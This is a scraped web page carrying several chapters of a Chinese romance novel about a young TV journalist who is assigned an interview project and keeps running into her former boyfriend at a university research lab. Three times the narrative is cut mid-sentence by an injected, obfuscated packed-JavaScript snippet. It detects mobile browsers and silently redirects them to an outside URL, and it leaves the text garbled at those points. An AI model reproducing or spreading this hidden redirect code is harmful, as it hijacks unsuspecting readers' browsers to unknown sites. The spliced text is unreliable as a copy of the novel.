陈逐顺着收银员手指的地方看去,玻璃橱窗里,一块块点心码得整齐,每一组点心前面放着一张卡片,写着口味和价格。 看到某一张的时候,男人目光似有停留,收银员以为他想买,刚想说可以试吃,那人又说—— “不用了,就这些。” 4. 黑猫警长 新的一周到来。 整座城市恢复加速度,生活在其中的人也被推着进入忙碌之中。 林孟随去台里上班。 摄制组的同事发来几张周六做访谈时拍的照片,她一一看过,高度肯定了自己的形象以及专业水平,等再看到另一人时,轻轻地笑了。 目光似有流连,但也仅仅只是几秒钟,她将照片保存下来,保存的自己那部分。 至于其他,都过去了。 林孟随放下的干脆,朱晓慧那边却过不去。 一到午休时间,朱晓慧总得念叨老任的事,但几天过去,任思阳工作好好的,半点影响没有。 倒是林孟随这边发生一件事。 ——台里提前给她通过了试用期。 通知贴在公告栏上,不少同事围观。 大家纷纷向林孟随道恭喜,说以后一起努力,也有人似笑非笑地说这名校毕业的海归就是不一样,长得还那么漂亮,难怪台里如此器重。 林孟随又是不尴不尬地笑,该干什么干什么。 * 几天过去,风平浪静。 周五,林孟随哈欠连天到了台里,一上午灌了两杯咖啡,还是困。 第三次去茶水间时,林孟随思考都回国这么久了,如果过几天她还是这样的状态,那就得去医院看看了……就是不知道国内的安眠药对她有没有效? 她半睁着眼胡乱琢磨,又要打哈欠,茶水间有人来了。 哈欠生生憋回去,林孟随眼里涌起生理性泪花,一副泫而欲泣的楚楚模样被任思阳看个正着。 任思阳步伐微顿,随即露出一口白牙:“昨晚没睡够啊?” 林孟随礼貌一笑:“前辈好。”她看了眼咖啡机,还得再等一等。 任思阳去了旁边的吧台沏茶。 很快,绿茶和咖啡两种气味产生对冲,在屋里形成一种奇怪味道。 “我前两天在剪辑室看到几段素材,”任思阳漫不经心开口,“那访谈你做的不错,有潜力。” 林孟随道:“前辈过奖了。” 任思阳动作一顿。 换做别的新人怎么也得恭维客套一句“都是前辈前期准备充分”之类的话,可面前这个女孩答得简单,语气不卑不亢。 任思阳不知道是该说这姑娘单纯还是愚蠢,不禁又多加打量,然后像是明了什么,笑了笑。 这个笑很“任氏”。 就是一边嘴角上扬的那种带着痞气的笑,任思阳的粉丝都觉得这笑容很帅、很男人,但在林孟随看来,纯属是葱香面包黄油放多了。 林孟随背过身咧了下嘴,也不等机器工作完,拿了咖啡想先走。 刚按完按钮,“滴”的一声和任思阳的声音又一同响起。 “小林,你一看就是个特有前途的女孩子。”任思阳笑眯眯盯着林孟随的脸,“但大多时候,干工作还是靠实力说话,你说是不是?” 林孟随:“这是自然。” 任思阳点一点头:“你懂这个道理就好。加油干吧。” 从茶水间出来,林孟随的困意少了些。 她往办公室走,路上遇上同事,对方说主任正找她,叫她过去一趟。 于是,林孟随撂下咖啡,又去了主任办公室。 屋内茶香四溢,比之在茶水间的混合味道要正常。 但许是茶泡得太浓了,反而有种假感,又像是香精放多了。 林孟随低头皱皱鼻子,感觉自己的困意完全是被气味给制服了。 “小林来了啊。”主任指了指桌前的椅子,“坐下说。” 林孟随依言坐下,一番领导和下属的寒暄过后,主任开始了。 先是从面试那时就觉着林孟随这孩子错不了说起,一点点扩大这段时间的工作表现,再到周六那次的临危不乱,能力出众。 在国外待久了,林孟随挺反感这种冗长的开篇。 而且她这人也算是急性子,没听多久就有些坐不住,眼睛时不时滴溜溜一转,观察起办公室里的物件,脑袋瓜里天马行空。 主任看对面的女孩神色专注,还以为自己的说辞真挚又打动人,心里感慨要是他还在一线的话,保不齐早拿新闻大奖了。 忆往昔岁月稠,主任摇摇头,端起杯喝了口茶润嗓子,之后也不绕弯子了:“咱们说正事。” 林孟随正因为墙上的奖杯联想到上次吃的香芋甜筒,听到这话,立刻坐直:“主任您说。” 主任手臂放到桌上,提气开口时忽又调转话头,问了句:“你周六那次采访时,和陈总关系搞得还不错吧?” 林孟随一怔:“这个嘛……” “云筑科技完全可以发展成我们的赞助方。”主任语重心长,“别看他们公司成立时间短,资金可不短。” 这话不应该和招商部或广告部说吗?为什么要嘱咐她? 林孟随不明所以,她不想讨论这个话题,就给面子应和了。 主任笑笑,终于进入正题:“鉴于你一直以来的优秀表现,台里决定对你委以重任。明年国庆献礼的科技人物访谈第一集,给你了。” 说罢,大手一挥,气势仿佛甩出一张五千万的支票。 林孟随呆愣,嘴巴动了动,没发出音来。 主任无视她并不兴奋也不喜悦的脸,靠回椅背,继续道:“这可是千载难逢的机会!别说落到你这种新人的头上,就是那群老人也都争。” “那为什……” “但台里还是愿意给新人机会的。” “我认为……” “毕竟你们才是台里的新鲜血液,台里不会吝惜对新人的培养的。你放手去做,不要……” 林孟随深吸一口气,果断问道:“这个访谈不是任前辈的吗?” “……” 办公室里安静下来。 主任看着林孟随半天没言语,最后一口干了杯中茶。 * 下午,林孟随接替任思阳献礼人物访谈的事就在台里传开了。 同事们面上不说什么,最多见到林孟随时说一句“未来可期”,实际背地里全都等着看好戏。 朱晓慧抓空找林孟随问这事,两人去了楼梯间。 “台里的处理办法怎么会是这样的?”朱晓慧惊讶之余,心里还隐隐发毛,“用你去对抗老任,这简直……” 简直太绝了。 林孟随专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379362|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业水平是不低,但再好也不过是一个刚入行的新人,哪能这就挑大梁? 可台里恰恰看中她新人+专业好的特点。 项目给了,要是她能完成,那就彻底打压了任思阳的气焰,叫他再不能威胁台里; 要是不能完成,反正她新人一个,丢脸是她自己的事,出现任何失误也她自己扛,再不济就开除,到时候还能给任思阳一个台阶。 横竖台里是“双赢”。 朱晓慧搓了搓胳膊:“都说主任是老狐狸,我还说哪儿有这么圆的狐狸?现在看看,这都不是一般狐狸了,这是聊斋里的狐狸啊!” 朱晓慧问林孟随打算怎么办? 这事要是接了,那就是公开和任思阳叫板。 “老任这几次闹的是过了,但该有的待遇和职级从没变过。”朱晓慧愁眉不展,“他手里资源多,人脉也广,手底下那帮人还都听他的话……你这回可是骑虎难下了。” 林孟随笑了笑,站在窗户边吹风。 她还好,没害怕、没担忧,就是有些气愤不平。 不怪他家老林之前说她适应不了国内的职场环境,就这些个心眼和心计,她一个都懒得动,她不喜欢为工作以外的事情费精神,可是—— 她也更不喜欢被人平白当枪使,又被人明里暗里说是花瓶。 不就一个访谈吗? 林孟随甜甜一笑,自信张扬:“你为我祝福吧。说不定明年的主持人新人奖就是我的。” 朱晓慧:“……” 妹妹你是真敢想啊。 主任那边雷厉风行。 下班前就给林孟随派了两个人来,说是辅助她前期准备。 这两个人,林孟随在台里有碰过面,他们一个负责摄像,叫蔡达,大家都叫他老蔡,一个负责文字,兼助理,叫离离。 老蔡个子不高,头发吹得可高,定型一次怕是少说得用一瓶发胶。离离呢,留着樱桃小丸子头,戴一副黑框眼镜,看起来文文静静。 三人找了一间小会议室开碰头会。 老蔡和离离坐在林孟随对面,男生吊儿郎当,女生谨小慎微,却是统一的“我就是炮灰”的气质。 林孟随也不知道该怎么鼓励安慰他们好,索性上来就谈工作。 老蔡一问三不知,说到时候就扛着机器拍呗,还能咋的? 到离离这边,她早些时候接到邮件,里面是关于这次访谈的资料,她复印了三份,给到林孟随和老蔡手里。 林孟随道谢,冲离离笑笑,离离头埋更低了。 林孟随觉得这女孩很可爱,又夸她准备工作做得充分,离离一听,胆子似乎大了一点,说了几句对访谈的看法。 “我感觉这次的,嗯,这次的访谈任务还好。”离离声音软软的,“台里想用纪录片的方式展现,我们只要把握好北城大学的研发团队和云筑科技这两个地方,信息收集就……” 林孟随边听边跟着点头,听到后面,察出哪里不太对,她打断:“你说哪两个地方?” 离离又紧张起来,以为自己出错了,闭着嘴不敢多说。 林孟随翻开离离给的资料,那两个字又一次映入眼帘。 ——陈逐。 5. 黑猫警长 站在北城大学校门外,林孟随的心情颇为复杂。 这几天,她沉浸到项目中去,尽力在开展工作前制定出一套完美的策划方案来。 功夫尚算见效,她心里已然有了几分成算。可每当工作结束,看着白板上用马克笔写出来的名字,她又会陷到一种虚无迷乱中去。 像是不相信还会有交集,又像是害怕交集的到来。 此刻,交集在即。 林孟随不再是无准备面对重逢,但她又觉着早前那股“见就见,见你咋滴”的豪迈,哪怕打脸,起码不会像现在这样浑身长草。 叹了口气,林孟随低头踢脚边的小石子玩。 一旁的老蔡偶有观察她,心想这就是一个天真小公主,跟着她,这几个月铁定是白忙乎。 老蔡摇摇头,也踢上了石子。 过了几分钟。 离离指着前面说:“这是不是来接我们的人啊?” 嘎啦。 林孟随让一石粒硌了下,她赶紧踢开,接着拽拽衣摆,捋捋头发,这才抬起头。 并不是那位。 也对,人家是研发团队负责人,又不是搞公关的。 “抱歉!抱歉!来晚了!”男生小跑过来,额头上覆着一层汗,模样稚气未脱,“老师拖堂来着。” 正好林孟随口袋里有半包纸巾,她顺手递出去,笑着说:“我们也刚到。” 男生一愣,看林孟随的眼神有些发直。 两秒后,耳朵一红,他拿过纸巾,欠着身说了好几遍谢谢。 男生名叫郑征,北城大学微电子科学与工程专业研二在读生,也是研发团队里的一员。 他跟林孟随他们说:“本来应该是刘老师接待你们的,团队对外的事都是刘老师负责。可老师这两天在市里有会,赶不回来,我就顶个班。你们有什么需要可以先和我说。” 话语间,一行人进入了校园。 宽阔的主干道两旁,大树参天。 时下已入十月下旬,北方的秋意浓素来时间短,寒冷悄然渗透进风里,枯黄的树叶散落满地。 林孟随踩到一个脆的,心觉脚感不错,回道:“没关系。我们先过来熟悉一下情况,正式工作还要等等。” 说着,她拂开脸上的发丝,明眸璀璨,仿佛让黯淡的景色都亮了起来。 郑征多看了一眼,险些踩空台阶跌下去,好在一辆观光小车适时路过,他忙请客人们上车,这才没出糗。 林孟随在车上问了郑征一些基本情况。 郑征对采访拍摄的事多少知道一点,说:“主要还是拍陈学长吧?” 一提那人,林孟随就跟肉里埋了根针似的,突然就冒头扎她一下。但因那人和工作捆绑在一起,她又能利落地把针再按回去。 “他的确是主角,又或者说是主要线索。”林孟随说,“但团队记录也很重要。” 郑征似懂非懂,笑笑,两个小虎牙显出来:“陈学长是我见过最最厉害的人!以前带学长博士的那位教授,快九十的高寿,都要退了,为了能教学长,愣是又多工作了两年。” 后来,校领导还想请老教授再出山,哪怕一个学期就办个讲座呢。 老教授坚决拒绝,说:“我这辈子死之前能有陈逐这么个学生,无憾了。” 听着这话,林孟随心情昂扬,甚至产生了如果有幸,她一定要去采访采访这位老教授的念头。 ——老人家这么有眼光。 不过,她也就是过过脑瘾而已。 林孟随向郑征又询问了团队里其他的事,两个年轻人一路有说有笑,直到下车。 “这里是雅拙园。”郑征介绍,“雅拙园后面是图书馆,还有翎湖。你们感兴趣的话,我回头带你们去看。前面的话,就是科研楼了。小白车不允许开进去,我们得步行了。” 林孟随让老蔡这就开始拍些素材。 他们来之前征求过校方的同意,公共区域可以适度拍摄,只要素材提交校方审查留档即可。 “这有什么好拍的?”老蔡不以为然,“学生又不是受访对象。” 林孟随好脾气说:“这次访谈的关键词是‘纯国产’和‘年轻化’。北城大学的研发团队很重要,拍拍团队所在的环境只有益处。” 老蔡哼了声,说行吧行吧,磨磨蹭蹭拿出从台里带出来的便携摄像机,胡乱拍了拍。 大家进入楼区。 科研楼近在眼前,而在科研楼前有一个小篮球场,场上有两拨人在进行拔河比赛。 林孟随要过去看看,嘱咐老蔡把这个也拍下来。 老蔡:“……” 又不是校园纪录片。 比赛正处于白热化阶段。 三局两胜,目前两边各胜过一次,最终结果就看这局。 围观的学生和老师大声喊着加油,参赛人员也斗志满满,不管男生女生,全铆足了劲儿拼。 郑征告诉林孟随,这算是北城大学学生们的“放松”项目,搞研究的尤其爱释放一下。 比赛持续了好一会儿。 因为两方各不相让,始终没能分出胜负。 林孟随是个代入感极强的人,她看队员们脸红脖子粗,大汗直流,又看他们齐心协力拼搏,自发地一同心急,手脚不自觉使劲儿,全身跟着发力。 这毛病她以前就有。 每次学校开运动会,她都是观看完全程的那个,谁上场她都跟着揪心,揪心不够,还恨不得下场和人家一起比去。 有一年秋季运动会,她甚至因为太过激动而扭到脚,后来被背去医务室,叫那人笑话了好久…… 眼下,林孟随和大家一起憋着一口气,就看哪边撑不住,哪边就输了。 只见左方为首的一个戴眼镜的文气小伙大吼一声:“老子想出来怎么解了!!!”随即,洪荒之力爆发。 右方没有防备,整支队伍往前扑去。 哨声响,比赛结束。 林孟随“哎呀”一声,也卸了力气,人依着惯性往后踉跄,踩到了人。 那人反应很快,非常有分寸地扶了她一下。 所以林孟随并没有感到令人不适的触碰,却又一股沉稳的力量即时给予了她平衡后盾。 这学生还挺绅士。 林孟随扭头向人家道谢,“谢”字说了一半,哑了。 陈逐依旧穿着一身黑,但不是上次的西装革履,而是休闲裤搭配衬衣。 衬衣下摆内扎,腰部束一条黑皮带,内里一件白T恤,在领口处露出一点边,刚刚好衬托着锁骨。 人还是那个清冷的人,但又多了几分随性俊逸。 林孟随没料想这次的重逢又是这么猝不及防。 出门前还冲镜子演示过的几种表情管理,忘个精光,人更是傻傻地动弹不得,连嘴都没有合拢。 陈逐低头看她,逆着光,那双琥珀色眼睛深邃如海。 他张口说了句什么,林孟随听不清,下意识踮起脚—— 周围突然一阵欢呼。 混乱之中,有人挤到林孟随,她不小心又踩了身后的人一脚,身后的人也又一次扶住了她。 唯一不同,是这次她的背几乎贴上了男人的胸膛。 林孟随顿时感到来自陈逐的体温,很暖,她还闻到了那股幽微的冷檀香,丝丝缕缕,飘飘荡荡,环绕着她…… 那一刻,在一众沸腾的热烈下,林孟随安于一隅。 她感觉自己醉了,又或者是迷蒙了,仿佛一脚踏入梦境,梦境里有她曾经藏起来的某种眷恋,叫她不想醒来。 “学长!” 声音闯入,还是惊醒了梦中人。 林孟随回神,立刻移开了两步,和陈逐拉开距离。 陈逐眼睫微垂,回落的手在半空中停滞了半秒,随后插进口袋里,转身迎上郑征,问:“数据分析报告出来了吗?” 郑征:“……” 话题粉碎机啊。 郑征东拉西扯,一通解释。 林孟随趁着没人注意自己的空当,手背快速蹭了下脸,又往后站站,瞥到那人鞋子上脏了一块,她小小心虚。 离离这时候靠过来,小声问:“小林姐,这位就是陈总?” 林孟随“嗯”了声:“你没看群里的照片吗?” 离离个子矮,几乎是用仰望巨人的角度看着陈逐,说:“那些照片没拍出陈总万分之一的风采。” 林孟随:“……” 篮球场上的人渐渐散去。 陈逐听完郑征的千字小作文之《报告没出来》后,交代了一些事项,郑征疯狂点头做保证,然后给陈逐做引荐。 “学长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379363|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是电视台的同事们。”郑征看向林孟随,笑意藏不住,“这位是——” 陈逐打断:“见过。” “啊?你们……” 林孟随忙说:“上次访谈多亏陈总了。接下来,又要麻烦了。” 陈逐:“……” 郑征恍然:“是之前那次人物专访吧?你们还挺有缘。” 孽缘还差不多。 林孟随展示出职业笑容,客气礼貌,这次她先主动伸出了手。 陈逐看她一眼,回握,两人又是一次一触即分。 郑征再去介绍老蔡和离离。 说到一半,陈逐手机响了,他看了下,冲林孟随三人示意,到一边接电话。 郑征说:“咱们先进去吧。学长的电话一时半会儿完不了。” 林孟随点点头。 进门前,她没忍住回头瞧了眼,那人还在讲电话,一边讲,一边快步向车子那边走,应该是要出去。 林孟随想,她是不是找个机会和陈逐聊聊?毕竟她现在有工作在身。 可聊什么呢? 聊她用一张纸条把他甩了?还是聊一个前任的自我修养? 林孟随更心虚了。 * 下午,林孟随一行人在郑征的带领下,对研发团队有了初步了解。 确实是年轻化,主要成员的平均年龄不超过三十四岁,领头的那个更是年轻的叫人不敢相信。 林孟随一路随看随记,本子上写满了可挖的点,离离见了,有时也跟着提提意见。 郑征临时替班,不能全天陪同,之后回去工作,林孟随他们三个便自由活动。 林孟随分配任务,老蔡再去拍一些校园素材,离离去档案馆收集资料,她自己则是干老本行,做街头采访…… 不知不觉,日暮降临。 原本还好好的天气忽然变了脸色,不见昏黄,倒是阴沉灰白,打了好几道闷雷。 林孟随看看时间,在群里发消息让老蔡和离离这就下班,万一下雨被淋就不好了。 只有离离回复好的。 另一位,想是早就收工大吉了。 得想个办法搞搞团队建设。 林孟随头痛,翻翻包,又发现自己有东西落在研究楼的会议室,她连忙折返回去取,进楼前也没注意到楼外多了一辆黑色汽车…… 办公室里。 郑征坐在工位上望天,嘴里念叨:送还是不送? 眼看要下雨,他帮个忙理所应当;可才刚认识,要是太热情,会不会让人家觉得他图谋不轨? 他想得投入,直到门口传来响动才停止。 “学长?”郑征站起来,“你怎么又回来了?” 陈逐没答,径直走到办公桌前,伸手。 郑征了然,递过去数据分析报告,这时,窗外又是一记雷鸣,比先前声音都要大。 郑征不纠结了,说:“学长,我出去一会儿行吗?” 陈逐抬眼:“不行。” “就一会儿。”郑征说,“我完事还回来。” 陈逐又不答,拿起桌上的一支笔,在数据报告上做批示。 他手生得极为好看,手指修长精致,骨节却不秀气,但也不过分粗犷,恰到好处地展现出男性的力量和稳重。 “你急着出去干嘛?”隔壁桌组员笑道,“想英雄救美?一点儿气象知识没有。这天下不了雨的。” 郑征嘴硬:“人家是客,我们总得有待客之道吧?” “你来待客?老刘的饭碗你也要抢?” “刘老师又不在。”脸也憋红了。 看小年轻着急就是有趣。 对方还想再逗逗,忽又记起别的来,话头转向下一位小年轻:“那个林小姐是北城一中的,我问哪届的,一算,和你一届啊。” “真的吗?学长!”郑征惊讶。 可很快又觉得哪里不对,依照林孟随中午的话,他们过去应该不认识才对啊…… 不等郑征想出个所以然,他面前的人用一贯淡漠的口吻说了句:“是吗?不记得了。” 说罢,陈逐画出一处分析错误,将报告搁到桌上,语气如旧:“改掉你的毛躁。” “成天冒冒失失,走路都能踩空。” 郑征:“……” 都欺负他。 6. 黑猫警长 这是一场骗人的雨。 雷声大,却连个雨点都没挤出来。 林孟随踩在北城晚高峰序幕拉开前回到家。 打开门,放下包,脱下鞋,跟个阿飘似的,游荡到沙发前,一头栽进去。 屋里没开灯,昏暗的光线让眼前雾蒙蒙的,林孟随脑子里空空的,心里也空空的。 这样呆躺了一会儿,她一个鲤鱼打挺起来,跑去卫生间卸妆洗澡,给自己整理清爽了,开始工作。 今天收集来的信息不少。 林孟随记录归纳,把原本的策划方案依据现实情况进行了一番修改。 她这人平时闲不住,也不喜欢过于安静,但一旦工作了,可以几个小时不动地方。 等把所有内容都处理好,已经快十一点。 林孟随也不饿,更不困,人瘫在椅子上,一动不动。 精神头十足的状态下没了工作给她干,那些被刻意压制的情绪成倍地翻涌上来。 林孟随没奢望过陈逐会原谅她。 他是一个骄傲的人,不管是因为他惊人的天赋,还是他因家庭承受的辉煌和落寞,他都有骄傲的资本。 也是因为这份骄傲,当初年少,她在开学的新生演讲上对他一见倾心,之后便天天跑到人家面前献好。 很多人并不支持女追男,认为女生就该矜持,但对林孟随来说,她奉行的信条是:喜欢的、好的,就要去追。 而陈逐是她人生中唯一满足“喜欢”和“好”这两个条件的人。 不,陈逐是她见过最好的。 她答应要和他一起去华城大学,他学数学,她学新闻,她说她永远不会离开他,要一直跟着他。 但也是她,用一张写着“我们不合适”的纸条就给他打发了,远走国外…… 所以,当重逢来临,陈逐就是指着她林孟随的鼻子破口大骂,她都不会还一句嘴。 可事实是,陈逐把她忘了。 她当然知道这个“忘”不是那种忘,陈逐口中的“忘”,是把过去那些错误的、不对的经历忘掉,就当曾经发生的事不存在。 这样挺好。 至少证明陈逐的生活有新的开始,他在往前走。 他是真的放下了。 林孟随趴在桌上,后知后觉感到浓重的疲惫。 眼角蹭了蹭衣袖,她想,她也知道自己该怎么做了。 * 转天,林孟随到台里开会。 和领导汇报完工作进展,她组织三人小组开会,会上就昨天在北城大学的所见所感进行了详细总结。 老蔡全程心不在焉,拿着手机不知道在刷什么,反正没离手。 林孟随会上没说什么,等午休时间找到朱晓慧,拜托这位百晓生提供老蔡的八卦,朱晓慧一口应下。 后面的两天里,林孟随都在台里工作,期间郑征发微信告诉她刘老师回校了,请她有时间到学校一趟。 林孟随手头上还有别的活儿,便约的下周一。 * 这次去学校,林孟随没带离离和老蔡。 她特意赶在上午到的学校,想看看学生们在这个时间段的面貌,也想在学校里走走,找些灵感。 林孟随漫无目的的转悠,路过一片小灌木丛,有什么快速蹿了过去。 她追过去看,一只肥硕的橘座悠哉地坐在草地上舔美腿。 那橘猫见有人窥视它,也不遮羞,觑过去一眼,一点儿不怕人地换了个更妖娆的姿势,继续舔。 等过了会儿,又来了一只白猫,两只猫互相看看,各自安好。 林孟随把这一幕完整录下来,收起手机时,听到有人说:“我们学校的猫不怕人,也不打架。” 她转头一看,是郑征。 两人到一边的长椅上小坐,顺带观看两只猫的融洽日常。 林孟随问郑征是在附近刚下课吗? 郑征给她指前面的楼:“这就是研究楼,我们现在是在它后身。” 原来如此。 林孟随笑笑,又问:“你刚才说学校里的猫都不怕人?” 闻言,郑征掏出手机,点进一个叫北城大学猫协的APP。 上面记录了学校里的几十只流浪猫,每只都有名字,公猫是学长或学弟,母猫是学姐或学妹,有无绝.育也清晰注明。 林孟随面前的这两只就在榜上,橘猫叫大盘鸡,白猫叫小锤锤,都已经免去了俗世烦恼。 “好可爱的名字啊,这APP做的也有爱心。”林孟随稍靠进些手机看,“它们还都有生平?” 一股馨甜的橙花香冷不丁钻进鼻腔,郑征清了下嗓:“可不?每一只都有故事,随便一个挑出来,都是谁同你恨海情天。” 林孟随又是笑,两只鹿眼弯起来,问:“这APP校外人能下载吗?” “能、能啊。”郑征看着她,“你还能在上面捐猫粮和领养。” 林孟随立刻问郑征在哪里下? 郑征帮她,两人围着手机鼓捣,没注意周围有人靠近,直到听到一声枯叶被踩的脆响。 “学长?”郑征惊讶,“你怎么又来了?” 陈逐:“……” 两只猫见来了一个不太面善的,一溜烟跑去别的地方逍遥了。 林孟随站起来,余光见猫已经跑没影儿了,放下心,转而大大方方叫人:“陈总好。” 陈逐颔首回应。 郑征跟着站起来,顺带把林孟随的手机还给她,两人的手指轻微滑碰了一下。 “学长,你过来是为了射频测试的吗?”郑征问,“老孙不是说那个还得等一两天?” 陈逐移开视线,默了两秒,回道:“别的事。” 郑征“哦”了声,不再多问,他看看时间,该吃午饭了。 他问林孟随:“要不要尝尝我们学校的食堂?有些味道还不错的,我给你当向导。” “好啊。” 林孟随爽快答应,正好APP的事她还想问问郑征,她觉得这个猫协很有意思。 见女孩同意,郑征提着的一口气舒坦下来,他笑得外露,就差把开心写脑门上,恨不得这就带着人去尝遍美食。 视线一瞥,见一个不容忽视的存在还杵在原地没动,他又说:“学长,老规矩是吧?我去二食堂给你打包回来。” 陈逐:“……嗯。” 如此,郑征和林孟随先走一步。 路过陈逐身边时,林孟随礼貌地道了声“陈总再见”,然后就又和郑征聊起来。 陈逐看着二人越走越远,直到消失在拐角,自己也回了研究楼。 快到办公区,陈逐遇上孙泉,就是上次拿郑征找乐子的那位。 孙泉正要出去吃饭,问陈逐去不去?陈逐婉拒,直接进了办公室,一把关上门。 看这情景,孙泉冷哼一声:牛逼轰轰。 * 下午,林孟随在研究楼的会议室见到刘老师。 刘老师全名刘建兰,四十岁出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379364|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,以前学电子信息工程的。 早些年,刘建兰很是挣了笔钱,但压力也大,给头发都挣没了。去做体检,浑身上下除了耳朵,哪儿哪儿都有毛病。 于是,在要钱还是要命的二选一下,回母校发挥光热了。 “实在不好意思啊,林小姐。”刘建兰笑呵呵的,人很和气,“这才和您见面。” 林孟随说:“您太客气了。是我们打扰团队研究了。” 刘建兰看小姑娘漂漂亮亮的,说话还周到有礼,心里好感度飙升,也不打那些虚的官腔,和她就采访的事聊了起来。 两人在会议室待了一个多小时。 他们把后面拍摄过程可能遇到的问题都摆出来了,能配合的配合,不能的就想办法协商。 刘建兰说得口干舌燥。 等见到曙光,人放松下来,聊起点儿别的:“小林,过几天我们给你和电视台另外两个同事搞个欢迎仪式吧。” 林孟随忙说不要麻烦,刘建兰却道:“就在学校附近的餐厅,团队也该聚餐了。正好借你们的由头,公款吃喝。” 林孟随叫老师幽默的话逗笑,也不好再推脱。 从会议室出来,刘建兰带林孟随去研究楼的资料室。 “只要没上锁的,你们都能借阅。”刘建兰说,“可如果要在片子里展示的话,你再和我打招呼。” “好的,刘老师。” 两人来到三楼,才出电梯,刘建兰的手机哇哇作响。 他让林孟随稍等他一下,他接个电话,但不想对方事情急,一句两句处理不完。 见状,林孟随想说她多等等没事的,话没出口,电梯门又一次打开。 陈逐走了出来。 刘建兰一见他,二话不说把资料室的钥匙丢过去,然后冲林孟随笑笑,跑去楼梯间继续讲电话了。 一时之间,走廊上只剩下林孟随和陈逐。 研究楼里静悄悄的,只有机器发动带出来的细微声响,而他们,隔着一段不小的距离站着。 不知道过了多久。 林孟随微笑:“麻烦陈总一趟。” 陈逐又是看她一眼,依旧没多言语,做了一个女士优先的手势。 一个小时前,陈逐收到公司助理来的消息。 助理说电视台的人来约时间,问陈逐什么时候方便就这次访谈聊一聊? 陈逐问是电视台的谁来约?助理说是一位林姓小姐。 明明,他人就在研究楼,距离会议室不过几百米,却还要流程规范地去找助理约时间。 这人还真是一如既往地“不嫌麻烦”。 怪不得和别人说起话来能妙语连珠,滔滔不绝。 林孟随也不知道这男人为什么要走那么快? 本来腿就长,一步顶她两步,还不停加快速度,是生怕她跟上他吗? 她也不好叫他慢点儿,既然下定了公事公办的决心,他们之间最后就不要有工作以外的交流。 这是林孟随给自己定下的界线。 林孟随一路一言不发,“提速”到了资料室门口,陈逐打开门,又做了一个请的手势。 别人或许看不出,但林孟随从他的眼神里读出了一丝不耐烦,想来是突然要送她过来,耽误他事情了。 林孟随说:“谢谢陈总。我会敞开资料室的门,也不会乱动什么。你去忙吧。” 她一说完,陈逐便利落地走了。 林孟随在门口站了一小会儿,没回头。 7. 黑猫警长 林孟随开始了在台里和北城大学两头跑的生活。 忙是忙了点,但发现校园里有猫后,她时不时就带着猫条和罐头去喂喂猫,心情上得到了不小满足。 郑征说,以前学校里的流浪猫不是现在这样,虽然也有志愿者管理,但松散无序,是几年前有位学长做了那款APP后,情况才慢慢好转。 林孟随心说这学长也是爱猫人士了,可巧,她从小也特别喜欢小动物,尤其猫咪。 现在每天可以免费撸猫,也是快乐上班了。 至于其他—— 自那次资料室外一别,林孟随没再见过陈逐,倒是陈逐的助理给她回电话说陈逐暂时没空接受谈话。 林孟随麻烦助理继续跟进,之后也没再惦记这事。 * 周五,林孟随又起晚了。 她急急忙忙出门,也没顾上看看天气,等出去了,叫扑面而来的寒风吹得打了个哆嗦。 北城这几天降温降得厉害,之前干打雷没下出来的雨全移到了这周。 一场秋雨一场寒,北城的冬天已然开始了。 林孟随来不及回去取衣服,拦了辆车上去,想着到台里就好了。 来到工位,林孟随放下包,照例先去茶水间沏杯咖啡。 路上遇上同事,大家互相问候早安,快到茶水间门口,一位女同事看她的表情有点奇怪,但没说什么就走了。 林孟随疑惑,准备推门,听到里面一男一女的对话。 “……真以为自己国外毕业就高人一等了?咱们台里博士也一抓一大把啊。” 女人声音柔美,但盖不住语气里的刻薄。 男同事说:“她那个学校牛,含金量高。” “那又怎么样?要不是仗着脸好看,那次人物专访换人能轮上她?主任还给她国庆献礼的项目,指不定拍出来是一坨什么屎呢。” “话不是这么说的。”男同事低低地笑,“你们女人长得漂亮不就是资本?要是还能干,不得逆天?” 男人加重那个“干”字,换来女同事娇笑。 林孟随有时候挺不明白的。 男人对女人以貌取人,那是因为他们不是女人,很多事不懂。 而女人最理解女人,知道这个社会对女人要求高,女性想做出些成绩不容易,为什么也要以貌取人呢? 林孟随深吸口气,正要抬手,又听见其他动静—— 老蔡正坐在茶水间旁边的小休息区吃汉堡。 茶水间里的话,老蔡都听到了,见林孟随发现他,他也不尴尬,耸耸肩,继续大口啃。 他认为林孟随反正也是息事宁人,毕竟人家没指名道姓,冒然进去,说不定—— 诶?这就进去了? 林孟随将门敞得大大的,站在门口,直视两位同事。 女生是隔壁组的,播音专业,平时在台里的存在感不强;男生的话,林孟随熟,不就是上次专访时的那位策划组同事吗? 这两人一看见林孟随当即换了一副皮,笑着说早上好啊,然后放下杯子想走,林孟随没动。 